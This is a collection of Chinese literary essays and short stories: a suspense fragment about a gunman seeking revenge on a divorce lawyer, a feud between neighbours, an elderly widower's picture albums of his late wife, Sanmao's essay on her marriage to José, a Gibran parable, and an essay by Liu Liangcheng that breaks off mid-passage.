　　“是的，律师先生。假如你要在我面前施展三寸不烂之舌的话，我劝你还是省点力气吧。正是你帮助玛丽和我离婚，她又再婚，却与她第二个丈夫一起死于车祸。你说，我活着还有什么意思？”

　　来人的手停止抚摸手枪，抓住枪柄。“你说，我们怎么会是素不相识？”

　　“可是，我也失去了老婆。”他说。

　　“真让人遗憾。”来人讽刺道。同时，慢慢抬起手枪。

　　“我和你一样想报仇。”他说，“她嘲笑我，作践我，让我跪在地上，还冲我吐口水，最后离开我。”

　　“很高兴你也知道被人抛弃的滋味。”来人的手枪正指在他两眼之间。

　　“她的名字叫克莱尔！”

　　手枪慢慢垂下，指在他胸口，来人一脸疑惑。

　　“事情很简单。”他说，“克莱尔是女人的名字。她总是骑在我头上，我们不是婚姻——是主人和奴隶。我连接电话都不自由，所以电话本上是她的名字——克莱尔，律师。”手枪彻底垂下来。

　　“是我老婆为你老婆打的离婚官司。”他说，“我真的从未听说过你的名字。我叫克里特，写小说为生。假如你不相信，可以看我的身份证。”

　　他四肢被捆，很难动弹。他不得不把克莱尔现在的地址告诉那人——手枪顶头，他怎能抗拒。

　　那人像一只丛林里的黑豹，迅速离开。他真希望自己也有这么矫健的身手。因为这样的话，他可以快一点扭动着穿过走廊，进入厨房，找东西割断尼龙绳。那人离开已经有三十多分钟了吧？

　　突然，他想起一件事——他可能应该先扭到电话机前，虽说被捆得很惨，但他捆着的双手可以把电话摘下来，找接线员通知克莱尔。

　　然而，当他向电话机那边扭动时，他又在想，也许先到厨房把绳子割断，再打电话要快一些。他不知道该做什么才好，他必须要好好想一想。他真希望自己是一个有主见的人。

　　克莱尔正是因为这个离开他的。

　　开车到克莱尔的公寓大约四十分钟。

邻家的拖鞋

姬中宪

　　众所周知，我和我家对门的邻居，关系一直不大好，我嫌他们家关防盗门的声音太大，他嫌我们家音响的声音太吵，好些年，我们没什么来往，我仍然把音量开到最大，他仍然把门狠狠地摔上。我们两家的仇恨是有历史渊源的，属于世仇，这事要从上一代人说起。那一年夏天，我家刚装修好，我老爸才给地板打完蜡，邻家老爸走过门前，要进来坐坐，他刚抬起一只脚，我爸突然大喊：鞋！说时迟那时快，一个五花鞋印已经印在地板上。邻家老爸赶紧收回那只惹事生非的脚，讪讪地回家了。又一年夏天，邻家老爸买了西瓜，招呼我爸过去同吃，有意缓和当年的脚印事件。我爸过去了，刚吃没两口，邻家老爸突然大喊：牙！我爸低头一看，也吓一跳，原来他一激动，把才换上的假牙咬掉一颗，白色的假牙，配上红色的西瓜瓤，血淋淋的掉在人家的饭桌上，像被一拳打掉的真牙。我爸尴尬地回了家，从此，他们老死不相往来。

　　因为老一辈的不愉快，我们两家的年轻人也不怎么来往。我爸常守着我们说：他还有个鞋印留在我们家呢！擦都擦不掉！我一边听，一边在想，邻家老爸是不是也常发牢骚：他还有颗牙掉在我们家饭桌上呢！一想到我就吃不下饭去！

　　总之，这个梁子算是结下了，而且一代代传下来。这样下去，我估计迟早有一天，我们家会用我们的铁蹄，把他们家的地板踏平，然后，他们家再以牙还牙。

　　今年夏天，“海葵”台风来袭，暴雨降临这个城市，我家的门突然被邻家的女儿粗暴地砸响，我打开门，我们两家的后代们终于有了史上第一次面对面的对话。不出所料，她劈头盖脸把我大骂了一顿，她说：你知道我家露台上现在积水有多深吗？洗衣机都漂起来了！你知道我们两家露台共用一个下水道吗？下水道在你们家这边，肯定被你们堵了！我也不甘示弱，我说：下水道怎么会在我们家这边？下水道明明在你们家那边！她说：不对！下水道是你们的！我说：下水道是你们的！我们一起说：下水道是你们的……

　　我和她到了她家的露台上，在暴雨中寻找下水道。水都没过膝盖了，我们两个像打水球一样在水面上搏斗了一个多小时，她游泳技术不大好，喝了好几口水，我也挺狼狈，一只拖鞋被水冲跑了。然后我们又到我家的露台上找，折腾了半天，也没找到下水口在哪里。她恶狠狠地说：我家露台上的地板都泡坏了，你赔我地板！我也威胁她：你赔我拖鞋！

　　夏天过去了，下水道一直没出现。我买了一双新拖鞋，带足底按摩的。立秋那天我回家，看到门前工工整整摆了一只拖鞋，那只失散多时的拖鞋。我看看对面的门，门锁得死死的。后来，我把这只拖鞋扔了。我留着也没用，因为另一只早被我扔了。

18 本画册的爱恋

汤小小

　　这是一对平凡夫妻的故事，如童话一般美好，却让人忍不住潸然泪下。

　　初次相见时，他是一位血气方刚的年轻军人，她是活泼俏皮的时髦女子。他回家探亲，父母着急他的终身大事，便“押”着他去相亲。远远地，看见一个年轻女子站在窗前对镜梳妆，波浪卷，红嘴唇，那一刻，他的心里生出细细的喜悦。

　　有父母和媒婆在场，他和她从始至终也没有说上几句话，临走时，她娇羞地送给他几张照片，含情脉脉地对视一眼，他便知道，她心里也是欢喜的。

　　他们顺理成章地结婚，约好一生相守。只是，婚后的日子却是聚少离多，他长年呆在部队，她一个人操持家务、抚育孩子，一个南，一个北，像两个毫无关联的人。改变却是显而易见的，以前在战场上他从不惧怕死亡，流弹从身边打过也毫不在意，可是现在，他忽然害怕了，如果自己死了，妻子和孩子怎么办？他们指靠谁啊？而她，也迅速从一个时髦女子变成地道的家庭妇女，学会了省吃俭用，连两元钱一包的中药都舍不得买，还像男人婆一样，跑到建筑工地上去挑水泥，赚取家用。

　　他们唯一的联系就是写信。她写的都是些家长里短、鸡毛蒜皮，偶尔，还有一些小抱怨小气恼。无论她写什么，他都笑呵呵地看，然后，把它们好好地收藏起来，哪里有破损，也会拿胶水小心翼翼地粘好。

　　这样的日子一过就是二十年，他先在部队当兵，然后到工厂“劳动改造”，她始终坚守着他们小小的家，等待他归来。

　　终于还是团聚了，只是，隔着二十年的时光，连孩子都要恋爱结婚了，他已不再年轻英俊，她亦不再容颜俏丽，而且生活习惯大相径庭，矛盾总是在所难免。她抱怨他太笨，饭做不好，衣服洗不干净，有时候还会打冷战，好几天不理他，说狠话气他。他从不生气，总是笑呵呵地哄她，

　　时光就这样静静地流淌，一日日，一年年，把他们变成白发苍苍的老人。她的脾气越来越古怪，像个喜怒无常的小孩。有时候心情不好，老是莫名其妙地掉眼泪，他看了以为是抑郁症，火急火燎地去拿药，吃了没几天，她马上喜笑颜开，啥事儿都没有了。有时候毫无来由地大吵大闹，搅得一家人不得安宁，个个躲得远远地，而他总是陪在她身边，看着她别被桌角玻璃什么的碰伤。

　　儿孙们知道她是病了，把她送到医院，她却常常拔掉身上的管子，还老说昏话。她说想吃糕点，他就会跑很远的路，穿过好几个街道，为她买来老字号的糕点，可是递到她面前，她又完全忘了这回事。有时候她忽然嘟噜着说，自己那件黑底红花的衣裳到哪儿去了？其实，她根本就没这么件衣服，他听了，却赶紧买布，找裁缝，紧赶慢赶地给她做出来，送到床边……

　　儿孙们都劝他，她已经糊涂了，脑子不好使了，干吗还把她的话当真呢？又花钱又费事，还徒增伤悲。他却不听劝，下回，只要她开口要什么，他还是想方设法给她弄来。即使她已经糊涂了，可是她提的任何要求，他都不忍心拒绝，因为他不糊涂，他知道，他能为她做的已经不多了。

　　她果然闭上眼睛，永远地离开了，她是笑着走的，紧紧拉着他的手。

　　她走了，他觉得自己的心也被掏空了，终于知道，什么叫生离死别。那就是，无论你多么想念一个人，都永远再也见不到了。

　　思念将他牢牢吞噬，60 年来相处的点点滴滴，在脑海里不停浮现，她对镜梳妆的模样，她趴在桌前写信的模样，她发脾气的模样，她生气的模样……他找来纸笔，想把她的模样画出来，这样，它们就永远不会从记忆里跑掉，这样，就仿佛看到真实的她，仿佛她还在他面前巧笑嫣然。

　　谁知，这一画就再也无法停下来，原来他和她，竟有那么多的故事可讲啊。从相见，到结婚，到婚后的每一个日日夜夜，居然都有讲不完的故事。

　　他没有学过美术，他的画简单明了，可是寥寥数笔，却把她画得丝毫不差，和真实的人儿一模一样，一样的眉眼，一样的笑容，一样的神情。

　　画他们相处的点滴，他觉得还不够，在没有遇见他之前，她是什么模样？她会干些什么？他的笔，蘸着满腔的爱和思念，居然描绘出了她童年和少女时代的影像。

　　儿孙们怕他一大把年纪，天天俯着身子画画，对健康不好，想要带他出去旅游，他却只到一个地方，那是他和她当初结婚的旅行社，他独自一人，站在当年两个人一起站过的地方，留下一张“旧地重游”的照片。他甚至不上网，不碰电脑，他怕被别的事情牵绊，就没有时间画画了。

　　如今，他已年过九旬，他的画册也已经有了 18 本之多，他为它们取名《我俩的故事》。每天，他都在画画中倾诉对她的思念，在画画中与她进行灵魂交谈。他枕着这些画入眠，同时伴着他的，还有她的一缕白发，以及她的骨灰。

　　他有一个普通的名字，饶平如，她的名字很美，叫美棠。他说，等他死了，就和她的骨灰装在一个盒子里，多余的撒向大海，这将是他最完美的结局。

大胡子与我

三毛

　　结婚以前大胡子问过我一句很奇怪的话："你要一个赚多少钱的丈夫？"

　　我说："看得不顺眼的话，千万富翁也不嫁；看得中意，亿万富翁也嫁。"

　　"说来说去，你总想嫁有钱的。"

　　"也有例外的时候。"我叹了口气。

　　"如果跟我呢？"他很自然的问。

　　"那只要吃得饱的钱也算了。"

　　他思索了一下，又问："你吃得多吗？"

　　我十分小心的回答："不多，不多，以后还可以少吃点。"就这几句对话，我就成了大胡子荷西的太太。

　　婚前，我们常常在荷西家前面的泥巴地广场打棒球，也常常去逛马德里的旧货市场，再不然冬夜里搬张街上的长椅子放在地下车的通风口上吹热风，下雪天打打雪仗，就这样把春花秋月都一个一个的送掉了。

　　一般情侣们的海誓山盟、轻怜蜜爱，我们一样都没经过就结了婚，回想起来竟然也不怎么遗憾。

　　前几天我对荷西说："华副主编蔡先生要你临时客串一下，写一篇'我的另一半'，只此一次，下不为例。"当时他头也不抬的说："什么另一半？"

　　"你的另一半就是我啊！"我提醒他。

　　"我是一整片的。"他如此肯定的回答我，倒令我仔细的看了看说话的人。

　　"其实，我也没有另一半，我是完整的。"我心里不由得告诉自己。

　　我们虽然结了婚，但是我们都不承认有另一半，我是我，他是他，如果真要拿我们来劈，又成了四块，总不会是两块，所以想来想去，只有写"大胡子与我"来交卷，这样两个独立的个体总算拉上一点关系了。

　　要写大胡子在外的行径做人，我实在写不出什么特别的事来。这个世界上留胡子的成千上万，远看都差不多，叫"我"的人，也是多得数不清，所以我能写的，只是两人在家的一本流水帐，并无新鲜之处。

　　在我们的家里，先生虽然自称没有男性的优越自尊等等坏习惯，太太也说她不参加女权运动，其实这都是谎话，有脑筋的人听了一定哈哈大笑。

　　荷西生长在一个重男轻女的传统家庭里，这么多年来，他的母亲和姐妹有意无意之间，总把他当儿皇帝，穿衣、铺床、吃饭自有女奴甘甘心心侍候。多少年来，他愚蠢的脑袋已被这些观念填得满满的了；再要洗他过来，已经相当辛苦，可惜的是，婚后我才发觉这个真相。

　　我本来亦不是一个温柔的女子，加上我多年前，看过胡适写的一篇文章，里面一再的提到"超于贤妻良母的人生观"，我念了之后，深受影响，以后的日子，都往这个"超"字上去发展。结果弄了半天，还是结了婚，良母是不做，贤妻赖也赖不掉了。

　　就因为这两个人不是一半一半的，所以结婚之后，双方的棱棱角角，彼此都用沙子耐心的磨着，希望在不久的将来，能够磨出一个式样来，如果真有那么一天，两人在很小的家里晃来晃去时，就不会撞痛了彼此。

　　其实婚前和婚后的我们，在生活上并没有什么巨大的改变。荷西常常说，这个家，不像家，倒像一座男女混住的小型宿舍。我因此也反问他："你喜欢回家来有一个如花似玉的女同学在等你，还是情愿有一个像'李伯大梦'里那好凶的老拿棍子打人的黄脸婆？"

　　大胡子，婚前交女友没有什么负担；婚后一样自由自在，吹吹口哨，吃吃饭，两肩不驼，双眼闪亮，受家累男人的悲戚眼神、缓慢步履，在此人身上怎么也打不出来。他的太太，结婚以后，亦没有喜新厌旧改头换面做新装，经常洗换的，也仍然是牛仔裤三条，完全没主妇风采。

　　偶尔外出旅行，碰到西班牙保守又保守的乡镇客店，那辛苦麻烦就来了。

　　"请问有没有房间？"大胡子一件旧夹克，太太一顶叫花子呢帽，两人进了旅馆，总很客气的问那冰冷面孔的柜台。"双人房，没有。"明明一大排钥匙挂着，偏偏狠狠的盯着我们，好似我们的行李装满了苹果，要开房大食禁果一般。"我们结婚了，怎么？"

　　"身份证！"守柜台的老板一脸狡猾的冷笑。

　　"拿去！"

　　这人细细的翻来覆去的看，这才不情不愿的交了一把钥匙给我们。

　　我们慢慢上了楼，没想到那个老板娘不放心，瞪了一眼先生，又追出来大叫。

　　"等一下，要看户口名簿。"那个样子好似踩住了我们尾巴似的得意。

　　"什么，你们太过份了！"荷西暴跳起来。

　　"来，来，这里，请你看看。"我不情不愿的把早已存好的小本子，举在这老顽固的面前。

　　"不像，不像，原来你们真结婚了。"这才化开了笑容，慢慢的踱开去。

　　"奇怪，我们结不结婚，跟她有什么关系？你又不是她女儿，神经嘛！"荷西骂个不停。

　　我叹了口气，疲倦的把自己抛在床上，下一站又得多多少少再演一场类似的笑剧，谁叫我们"不像"。"喂！什么样子才叫'像'，我们下次来装。"我问他。"我们本来就是夫妻嘛！装什么鬼！"

　　"可是大家都说不像。"我坚持。

　　"去借一个小孩子来抱着好了。"

　　"借来的更不像，反正就是不像，不像。"

　　谁叫我们不肯做那人的另一半，看来看去都是两个不像的人。

　　有一天，我看一本西班牙文杂志，恰好看到一篇报道，说美国有一个女作家，写了一本畅销书，名字我已记不得了。总之是说——"如何叫丈夫永远爱你。"

　　这个女作家在书中说："永远要给你的丈夫有新奇感，在他下班之前，你不妨每天改一种打扮，今天扮阿拉伯女奴，明天扮海盗，大后天做一个长了翅膀的安琪儿；再大后天化成一个老巫婆……这样，先生下班了，才会带着满腔的喜悦，一路上兴奋的在想着，我亲爱的宝贝，不知今天是什么可爱的打扮——"

　　又说："不要忘了，每天在他耳边轻轻的说几遍，我爱你——我爱你——你爱你——。"

　　这篇介绍的文章里，还放了好几张这位婚姻成功的女作家，穿了一条格子裙，与丈夫热烈拥吻的照片。我看完这篇东西，就把那本杂志丢了。

　　吃晚饭时，我对荷西说起这本书，又说："这个女人大概神经不太正常，买她书的人，照着去做的太太们，也都是傻瓜。如果先生们有这么一个千变万化的太太，大概都吓得大逃亡了。下班回来谁受得了今天天使啦！明天海盗啦！后天又变个巫婆啦！……"

　　他低头吃饭，眼睛望着电视，我再问他："你说呢？"

　　他如梦初醒，随口应着："海盗！我比较喜欢海盗！""你根本不在听嘛！"我把筷子一摔，瞪着他，他根本看不见，眼睛又在电视上了。

　　我叹了口气，实在想把汤泼到他的脸上去，对待这种丈夫，就算整天说着"我爱你"，换来的也不过是咦咦啊啊，婚姻不会更幸福，也不会更不幸福。

　　有时候，我也想把他抓住，噜噜苏苏骂他个过瘾。但是以前报上有个新闻，说一位先生，被太太喋喋不休得发了火，拿出针线来，硬把太太的嘴给缝了起来。我不希望大胡子也缝我的嘴，就只有叹气的份了。

　　其实夫妇之间，过了蜜月期，所交谈的话，也不过是鸡零狗碎的琐事，听不听都不会是世界末日；问题是，不听话的人，总是先生。

　　大胡子，是一个反抗心特重的人，如果太太叫他去东，他一定往西；请他穿红，他一定着绿。做了稀的，他要吃干的；做了甜的，他说还是咸的好。这样在家作对，是他很大的娱乐之一。

　　起初我看透了他的心理，有什么要求，就用相反的说法去激他，他不知不觉的中了计，遂了我的心愿。后来他又聪明了一点，看透了我的心理，从那时候起，无论我反反覆覆的讲，他的态度就是不合作，如同一个傻瓜一般的固执，还常常得意的冷笑："嘿！嘿！我赢了！"

　　"如果有一天你肯跟我想得一样，我就去买奖卷，放鞭炮！"我瞪着他。

　　我可以确定，要是我们现在再结一次婚，法官问："荷西，你愿意娶三毛为妻吗？"他这个习惯性的"不"字，一定会溜出口来。结过婚的男人，很少会说"是"，大部份都说相反的话，或连话都不说。

　　荷西刚结婚的时候，好似小孩子扮家家酒，十分体谅妻子，情绪也很高昂，假日在家总是帮忙做事。可惜好景不常，不知什么时候开始，他背诵如教条的男性自尊又慢慢的苏醒了。

　　吃饭的时候，如果要加汤添饭，伸手往我面前一递，就好似太阳从东边出来一样的自然。走路经过一张报纸，他当然知道跨过去，不知道捡起来。有时我病了几天，硬撑着起床整理已经乱得不像样的家，他亦会体贴的说："叫你不要洗衣服，又去洗了，怎么不听话的。"

　　我回答他："衣不洗，饭不煮，地不扫，实在过不下去了，才起来理的。"

　　"不理不可以吗？你在生病。"

　　"我不理谁理？"我渴望这人发条开动，做个"清扫机器人"有多可爱。

　　"咦！谁也不理啊！不整理，房子又不会垮！"

　　这时候我真想拿大花瓶打碎他的头，可是碎的花瓶也得我扫，头倒不一定打得中，所以也就算了。

　　怎么样的女人，除非真正把心横着长，要不然，家务还是缠身，一样也舍不得不管，真是奇怪的事情。这种心理实在是不可取，又争不出一个三长两短来。

　　我们结合的当初，不过是希望结伴同行，双方对彼此都没有过份的要求和占领。我选了荷西，并不是为了安全感，更不是为了怕单身一辈子，因为这两件事于我个人，都算不得太严重。

　　荷西要了我，亦不是要一个洗衣煮饭的女人，更不是要一朵解语花，外面的洗衣店、小饭馆，物美价廉，女孩子莺莺燕燕，总比家里那一个可人。这些费用，不会超过组织一个小家庭。

　　就如我上面所说，我们不过是想找个伴，一同走走这条人生的道路。既然是个伴，就应该时刻不离的胶在一起才名副其实。可惜这一点，我们又偏偏不很看重。

　　许多时候，我们彼此在小小的家里漫游着，做着个人的事情，转角碰着了，闪一下身，让过双方，那神情，就好似让了个影子似的漠然。更有多少夜晚，各自抱一本书，啃到天亮，各自哈哈对书大笑，或默默流下泪来，对方绝不会问一声："你是怎么了，疯了？"

　　有时候，我想出去散散步，说声"走了"，就出去了，过一会自会回来。有时候早晨醒了，荷西已经不见了，我亦不去瞎猜，吃饭了，他也自会回来的，饥饿的狼知道那里有好吃的东西。

　　偶尔的孤独，在我个人来说，那是最最重视的。我心灵的全部从不对任何人开放，荷西可以进我心房里看看、坐坐，甚至占据一席；但是，我有我自己的角落，那是："我的，我一个人的"。结婚也不应该改变这一角，也没有必要非向另外一个人完完全全开放，任他随时随地跑进去捣乱，那是我所不愿的。

　　许多太太们对我说："你这样不管你先生是很危险的，一定要把他牢牢的握在手里。"她们说这话时，还做着可怕的手势，捏着拳头，好像那先生变成好小一个，就在里面扭来扭去挣扎着似的。

　　我回答她们："不自由，毋宁死，我倒不是怕他寻死。问题是，管犯人的，可能比做犯人的还要不自由，所以我不难为自己，嘿！嘿！"

　　自由是多么可贵的事，心灵的自由更是我们牢牢要把握住的；不然，有了爱情仍是不够的。

　　有的时候，荷西有时间，他约了邻居朋友，几个人在屋顶上敲敲补补，在汽车底下爬出爬进，大声的叫喊着。漆着房子，挖着墙，有事没事的把自己当作伟大的泥水匠或木匠，我听见他在新鲜的空气里稀哩哗啦的乱唱着歌，就不免会想到，也许他是爱太太，可是他也爱朋友。一个男人与朋友相处的欢乐，即使在婚后，也不应该剥削掉他的。谁说一个丈夫只有跟妻子在一起时才可以快乐？

　　可惜的是，跟邻居太太们闲话家常，总使我无聊而不耐，尤其是她们东家长西家短起来，我就喝不下咖啡，觉得什么都像泥浆水。

　　大胡子不是一个罗曼蒂克的人，我几次拿出《语言行为》这本书来，再冷眼分析着他的坐相、站相、睡相，没有一点是我希望他所表现出来的样式，跟书上讲的爱侣完全不同。

　　有一次我突然问他："如果有来世，你是不是还是娶我？"他背着我干脆的说："绝不！"

　　我又惊又气，顺手用力拍的打了他一拳，他背后中枪，也气了，跳翻身来与我抓着手对打。

　　"你这小瘪三，我有什么不好，说！"

　　本来期望他很爱怜的回答我："希望生生世世做夫妻"，想不到竟然如此无情的一句话，实在是冷水浇头，令人控制不住，我顺手便又跳起来踢他。

　　"下辈子，就得活个全新的样子，我根本不相信来世。再说，真有下辈子，娶个一式一样的太太，不如不活也罢！"

　　我恨得气结，被他如此当面拒绝，实在下不了台。"其实你跟我想的完完全全一样，就是不肯讲出来，对不对？"他盯着我看。

　　我哈的一下笑出来，拿被单蒙住脸，真是知妻莫若夫，我实在心里真跟他想的一模一样，只是不愿说出来。

　　既然两人来世不再结发，那么今生今世更要珍惜，以后就都是旁人家的了。

　　大胡子是个没有什么原则的人，他说他很清洁，他每天洗澡、刷牙、穿干净衣服。可是外出时，他就把脚搁在窗口，顺手把窗帘撩起来用力擦皮鞋。

　　我们住的附近没有公车，偶尔我们在洗车，看见邻居太太要进城去，跑来跟我们搭讪，我总会悄悄的蹲下去问荷西："怎么样，开车送她去？起码送到公路上免得她走路。"

　　这种时候，荷西总是毫不客气的对那个邻居直接了当的说："对不起，我不送，请你走路去搭车吧！""荷西，你太过份了。"那个人走了之后我羞愧的责备他。"走路对健康有益，而且这是个多嘴婆，我讨厌她，就是不送。"

　　如果打定主意不送人倒也算了，可是万一有人病了、死了、手断了、腿跌了、太太生产了，半夜三更都会来打门，那时候的荷西，无论在梦里如何舒服，也是一跳就起床，把邻居送到医院去，不到天亮不回来。我们这一区住着的大半是老弱残病，洋房是很漂亮，亲人却一个也没有。老的北欧人来退休，年轻的太太们领着小孩子独自住着，先生们往往都在非洲上班，从不回来。

　　家中的巧克力糖，做样子的酒，大半是邻居送给荷西的礼物。这个奇怪的人，吼叫起来声音很吓人，其实心地再好不过，他自己有时候也叫自己纸老虎。

　　一起出门去买东西，他这也不肯要，那也不肯买，我起初以为他责任心重，又太客气，后来才发觉，他是宁为玉碎不为瓦全，情愿买一样贵的好的东西，也不肯要便宜货。我本想为这事生生气，后来把这种习惯转到他娶太太的事情上去想，倒觉得他是抬举了我，才把我这块好玉捡来了。挑东西都那么嫌东嫌西，娶太太他大概也花了不少心思吧！我到底是贵的，这一想，便眉开眼笑了。

　　夫妇之间，最怕的是彼此侵略，我们说了，谁也不是谁的另一半，所以界线分明。有时兴致来了，也越界打门、争吵一番，吵完了倒还讲义气，英雄本色，不记仇，不报仇，打完算数，下次再见。平日也一样称兄道弟，绝对不会闹到警察那儿去不好看，在我们的家庭里，"警察"就是公婆，我最怕这两个人。在他们面前，绝对安分守己，坐有坐相，站有站相，不把自己尾巴露出来。

　　我写了前面这些流水帐，再回想这短短几年的婚姻生活，很想给自己归了类，把我们放进一些婚姻的模式里去比比看，跟哪一种比较相像。放来放去，觉得很羞愧，好的、传统的，我们都不是样子；坏的、贱的，也没那么差。如果说，"开放的婚姻"这个名词可以用在我们的生活里，那么我已是十分的满意了，没有什么再好的定义去追求了。

　　夫妇之间的事情，酸甜苦辣，混淆不清，也正是如人饮水，冷暖自知。这小小的天地里，也是一个满满的人生，我不会告诉你，在这片深不可测的湖水里，是不是如你表面所见的那么简单。想来你亦不会告诉我，你的那片湖水里又蕴藏着什么，各人的喜乐和哀愁，还是各人担当吧！

认识自我

纪伯伦

　　一个雨夜，赛艾姆坐在书房的书架前，开始翻阅起旧书。他叼着支土耳其大雪茄，厚厚的嘴唇不时喷涌出一阵烟雾。柏拉图记录的他的老师苏格拉底关于“认识自我”的一段话引起了赛艾姆的注意……赛艾姆掩卷着深思，心中悠然荡漾起一种对东西方哲人圣贤敬佩的感情。

　　“认识你自己。”他嘟囔着苏格拉底的这句名言，猛地从座椅上站了起来，展开双臂大声叹道，“对！我必须要认识自我，洞察自己那秘密的心灵，这样我就抛脱了一切疑惧和不安，从我物质的人中找出我精神的人，从我血与肉的具体存在中找出我的抽象实质，这就是生命赋予我的至高无上的神圣使命！”赛艾姆像害了场热病，眼中闪烁着酷爱“认识自我”的狂热光芒。

　　他踱到邻屋，像一座塑像一样伫立在穿衣镜前，凝视着镜子里鬼一般可怕的自我，并默默地估量着自己的头型、面庞、躯干和四肢。

　　赛艾姆的这种塑像神态持续了半个小时，空灵缥缈的“认识自我”，仿佛给他灌注了一套足以揭示自我灵魂秘密的奇异、升华了的的思想里，并使他心里充满了理性之光。他平静地启动双唇，直言自语地说：“嗯！从身材上看，我是矮小的，但拿破仑、维克多 · 雨果两位不也是这般吗？我的前额不宽，天庭欠圆，可苏格拉底和斯宾诺莎也是如此；我承认我是秃顶，这并不寒碜，因为有大名鼎鼎的莎士比亚与我为伴；我的鹰鼻弯长，如同伏尔泰和乔治 · 华盛顿的一样；我的双眼凹陷，使徒保罗和哲人尼采亦是这般；我那肥厚嘴唇足以同路易十四媲美，而我那粗胖的脖子堪与尼拔和马克 · 安东尼齐肩。”

　　“不错，我的身体是有缺陷的，但是要注意，这是伟大的思想家们的共同特点。更奇怪的是，我与巴尔扎克一样，阅读写作时，咖啡壶一定要放在身旁；我同托尔斯泰一样，愿意与粗俗的民众交际攀谈；有时我三四天不洗手脸，贝多芬、惠特曼亦有这样的习惯；我的嗜酒如命，足令马娄和诺眼自愧弗如；我的饕餮般暴饮暴食使巴夏酋长和亚历山大王也要大出冷汗。”

　　又沉默了片刻，赛艾姆用肮脏的指尖点了点脑门，继续发言：“这就是我！这就是我实在。我拥有迄今为止人类历史上的伟人们的种种品质。一位拥有这么多伟大品质的青年是一定能干一番惊天动地的事业的。”

　　“睿智的实质是认识自我。伟人们把宇宙的这一伟大思想根植于我心灵深处，并激励我开始去干伟大的工作。从诺亚到苏格拉底，从薄伽丘到雪莱，我伴随着伟人们一起度过历史的风风雨雨。我不知道我会以什么样的伟大行动开始，不过一个兼备在白昼的劳作和夜晚的梦幻中所形成的神秘自我和真正本性的我，无疑是可以开创伟业的……是的，我已经认识了自己，而神灵也已洞鉴了我。啊！我的灵魂万岁！？自我万岁！愿天长地久，诸事如愿！”

　　赛艾姆在屋里踱来踱去，他那丑陋的脸上荡漾着欢乐的光泽，嘴里不时发出一阵像猫啃骨头时的欢快叫声。他反复吟哦着阿比 · 阿拉的一段诗文：尽管我是这个时代的晚辈，创业祖先的未竟之业，总会历史的压在我肩背。

　　过了一会儿，我们的这位赛艾姆穿着他那肮脏的衣服卧倒在乱七八糟的床上，进入鼾声如雷的梦乡。

永远欠一顿饭

刘亮程

　　现在我还不知道那顿没吃饱的晚饭对我今后的人生有多大影响。人是不可以敷衍自己的。尤其是吃饭，这顿没吃饱就是没吃饱，不可能下一顿多吃点就能补偿。没吃饱的这顿饭将作为一种欠缺空在一生里，命运迟早会抓住这个薄弱环节击败我。

　　那一天我忙了些什么现在一点也记不清了，只记得天黑时又饥又累回到宿舍，胡乱地啃了几口干馕便躺下了，原想休息一会儿出去好好吃顿饭。谁知一躺下便睡了过去，醒来时已经是第二天早晨。我就这样给自己省了一顿饭钱。这又有什么用呢？即使今天早晨我突然暴富，腰缠千万，我也只能为自己备一顿像样点的早餐。却永远无法回到昨天下午，为那个又饿又累的自己买一盘菜一碗汤面。

　　过去了就是过去了。但这笔欠账却永远记在生命中。也许就因为这顿饭没吃饱，多少年后的一次劫难逃生中，我差半步没有摆脱厄运。正因为这顿没吃饱的饭，以后多少年我心虚、腿软、步履艰难，因而失去许多机遇，许多好运气，让别人抢了先。

　　人们时常埋怨生活，埋怨社会，甚至时代。总认为是这些大环境造成了自己多舛的命运。其实，生活中那些常被忽视的微小东西对人的作用才是最巨大的。也许正是它们影响了你，造就或毁掉了你，而你却从不知道。

　　你若住在城市的楼群下面，每个早晨本该照在你身上的那束阳光，被高楼层层阻隔，你在它的阴影中一个早晨一个早晨地过着没有阳光的日子。你有一个妻子，但她不漂亮；有一个儿子，但你不喜欢他。你没有当上官，没有挣上钱，甚至没有几个可以来往的好朋友。你感觉你欠缺得太多太多，但你从没有认真地去想想，也许你真正欠缺的，正是每个早晨的那一束阳光，有了这束阳光，也许一切就都有了。

　　你的妻子因为每个早晨都能临窗晒会儿太阳，所以容颜光彩而亮丽，眉不萎，脸不皱，目光含情；你的儿子因为每个早晨都不在阴影里走动，所以性情晴朗可人，发育良好，没有怪僻的毛病；而你，因为每个早晨都面对蓬勃日出，久而久之，心仔大志，向上进取，所以当上官，发了财。你若住在城市的高烟囱下面；那些细小的、肉眼看不见的烟灰煤粒常年累月侵蚀你，落到皮肤上，吸进肺腑里，吃到肠胃中，于是你年纪不大就得了一种病，生出一种怪脾气，见谁都生气，看啥都不顺眼，干啥都不舒服。其实，是你自己不舒服，你比别人多吃了许多煤沫子，所以成了现在这个样子。你怪领导给你穿小鞋，同事对你不尊敬，邻居对你冷眼相看，说三道四。你把这一切最终归罪于社会，怨自己生不逢时，却不知道抬头骂一句：狗日的，烟尘。它影响了你，害了你，你却浑然不觉。

　　人们总喜欢把自己依赖在强大的社会身上，耗费毕生精力向社会索取。而忘记了营造自己的小世界，小环境。其实，得到幸福和满足是非常容易的事情，只要你花一会儿时间，探净窗玻璃上的尘土，你就会得到一屋子的明娓阳光，享受很多天的心情舒畅；只要稍动点手。填平回家路上的那个小坑，整个一年甚至几年你都会平平安安到家，再不会栽跟头，走在路上尽可以想些高兴的事情，想得入神，而不必担心路不平。

　　还有吃饭，许多人有这个条件，只要稍加操持便能美美款待自己一番。但许多人不这样去做，他们用这段时间下馆子去找挨宰，找气受，找传染病，尔后又把牢骚和坏脾气带到生活中，工作申。但还是有许许多多的人懂得每顿饭对人生的重要性。他们活得仔细认真，把每顿饭都当一顿饭去吃，把每句话都当一句话去说，把每口气都当了口气去呼吸。他们不敷衍生活，生活也不敷衍他们，他们过得一个比一个好。

　　我刚来乌市时，有一个月时间，借住在同事的宿舍里，对门的两位小姐，也跟我一样，趁朋友不在，借住几天。每天下班后，我都看到她们买回好多新鲜蔬菜，有时还买一条鱼，我所见她们又说又笑地做饭，禁不住凑过去和她们说笑几句。

